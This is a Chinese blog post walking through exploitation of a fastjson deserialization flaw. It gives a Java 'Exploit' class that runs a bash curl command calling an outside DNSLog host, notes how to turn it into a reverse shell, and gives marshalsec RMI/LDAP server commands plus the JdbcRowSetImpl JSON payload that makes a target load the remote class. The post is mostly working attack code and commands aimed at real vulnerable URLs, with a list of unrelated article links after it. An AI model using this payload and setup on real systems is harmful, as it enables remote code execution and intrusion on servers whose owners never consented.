如果你已经用DNSLog之类的工具,探测到了某个url有fastjson问题,那么接着可以试试能不能反弹shell,由于反弹shell步骤多,容易不成功,我就简化一下流程,改成执行命令,执行curl命令。

1. 准备一个Payload

import java.lang.Runtime;
import java.lang.Process; public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
} # 如果想反弹shell ,那么修改这一句就行了 String[] commands = {"/bin/bash", "-c","curl Xxx.dnslog.cn"};

我一般在本地编辑,然后用javac Exploit.java,得到Expoit.class ,上传公网服务器里,如果你vim刷得6,这些步骤完全可以在服务器上操作。

然后在将这个Expoit.class 上传到你到服务器上去。

2. 服务器上启动 rmi

在本地启动rmi服务器,这里推荐github上的一个项目marshalsec

https://github.com/mbechler/marshalsec

需要用maven进行生成jar包,进入marshalsec目录后,执行如下命令:

git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true

之后使用过的是这个包 marshalsec-0.0.3-SNAPSHOT-all.jar,

可以移动到仍意目录都可以, 最好把Expoit.class和它放在同一个目录下。

在当前目录下,打开一个web服务器:

python -m SimpleHTTPServer 8000

然后启动rmi,

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit

# 如果想反弹shell,加个端口就行了
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://xx.xx.xx.xx/#Exploit 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#Exploit 9999

如果命令执行成功,会出现如下监听情况

3. 向目标注入payload

可以用burp发包,也可以用脚本发包,都一样,

{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://xx.xx.xx.xx:1099/Exploit\",\"autoCommit\":true}

然后去DNSlog看看有没有访问记录即可,没有记录都话,就比较难说了,可能网络问题、环境问题、步骤有问题、fastjson版本不是对应版本、java版本问题,这种就自己探索吧。

参考

https://www.cnblogs.com/sijidou/p/13121332.html

最新文章

  1. null、undefined、false、0相等性比较
  2. 【LeetCode】Self Crossing(335)
  3. Entity Framework 教程
  4. Android中使用shape来定义控件
  5. Kali命令集
  6. Modular javascript(javascript模块化编程)
  7. javascript的数值转换 number()详解
  8. Discuz! 7.x 反射型xss
  9. django rest-framework 1.序列化 二
  10. 迭代DOM集合的几种方法
  11. 【慕课网实战】四、以慕课网日志分析为例 进入大数据 Spark SQL 的世界
  12. Google css & Google fonts
  13. 黄聪:PHP发送邮件出现Connection: opening to ssl://的解决办法
  14. 用Power BI观察经济与健康的关系
  15. 源码分析二(ArrayList与LinkedList的区别)
  16. Electronic Trading[z]
  17. Argument list too long error for rm, cp, mv commands
  18. javascript学习笔记(二)
  19. 【转】常用jar包的作用了解
  20. SQL Server ->> Online Index Rebuilding(联机索引重建)

热门文章

  1. zjnu1735BOB (单调队列,单调栈)
  2. hdu1263 水果
  3. Java 窗口 绘制图形 #2
  4. Educational Codeforces Round 89 (Rated for Div. 2) B. Shuffle (数学,区间)
  5. 2.PowerShell概述
  6. CF1475-D. Cleaning the Phone
  7. [Golang]-7 定时器和打点器
  8. Linux-进程管理命令
  9. MD5强碰撞
  10. 硬盘测试工具fio用法总结